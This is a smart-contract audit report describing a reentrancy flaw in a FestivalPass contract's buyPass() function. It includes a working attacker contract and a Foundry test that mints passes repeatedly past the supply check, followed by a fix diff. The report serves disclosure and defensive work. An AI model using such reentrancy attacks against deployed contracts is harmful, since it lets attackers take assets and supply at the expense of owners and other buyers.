Root + Impact
Description
The buyPass() function in the Festival contract is vulnerable to reentrancy. The function calls _mint() before updating the passSupply state variable, and because it mints an token, it invokes onERC1155Received() on the receiver. An attacker can use this hook to reenter buyPass() and repeatedly mint passes before the supply is incremented, effectively bypassing the passSupply < maxSupply check.
@> _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
Risk :
HIGH :
Likelihood:
HIGH :
Impact:
Attacker can buy multiple VIP passes in a single transaction, bypassing supply check.
Final passSupply update only occurs after all reentrant calls.
Leaves only 1 pass unsold, denying others.
Proof of Concept
contract ReentrantBuyer {
FestivalPass public festival;
uint256 public reentryCount;
constructor(FestivalPass _festival) {
festival = _festival;
}
function attack() external payable {
festival.buyPass{value: 0.1 ether}(2);
}
function onERC1155Received(
address, address, uint256, uint256, bytes calldata
) external returns (bytes4) {
if (reentryCount < 5) {
++reentryCount;
festival.buyPass{value: 0.1 ether}(2);
}
return this.onERC1155Received.selector;
}
receive() external payable {}
}
function test_ReentrancyOnBuyPass() public {
ReentrantBuyer attacker = new ReentrantBuyer(festivalPass);
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
attacker.attack{value: 0.1 ether}();
assertGt(festivalPass.balanceOf(address(attacker), 2), 1);
Recommended Mitigation
Move ++passSupply[collectionId]; before _mint() to avoid reentrancy issues.
Alternatively, add a nonReentrant modifier to buyPass() using OpenZeppelin’s ReentrancyGuard.
+ function buyPass(uint256 collectionId) external payable nonReentrant {
// Must be valid pass ID (1 or 2 or 3)
require(
collectionId == GENERAL_PASS ||
collectionId == VIP_PASS ||
collectionId == BACKSTAGE_PASS,
"Invalid pass ID"
);
// Check payment and supply
require(
msg.value == passPrice[collectionId],
"Incorrect payment amount"
);
require(
passSupply[collectionId] < passMaxSupply[collectionId],
"Max supply reached"
);
// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
//--------code -----//
}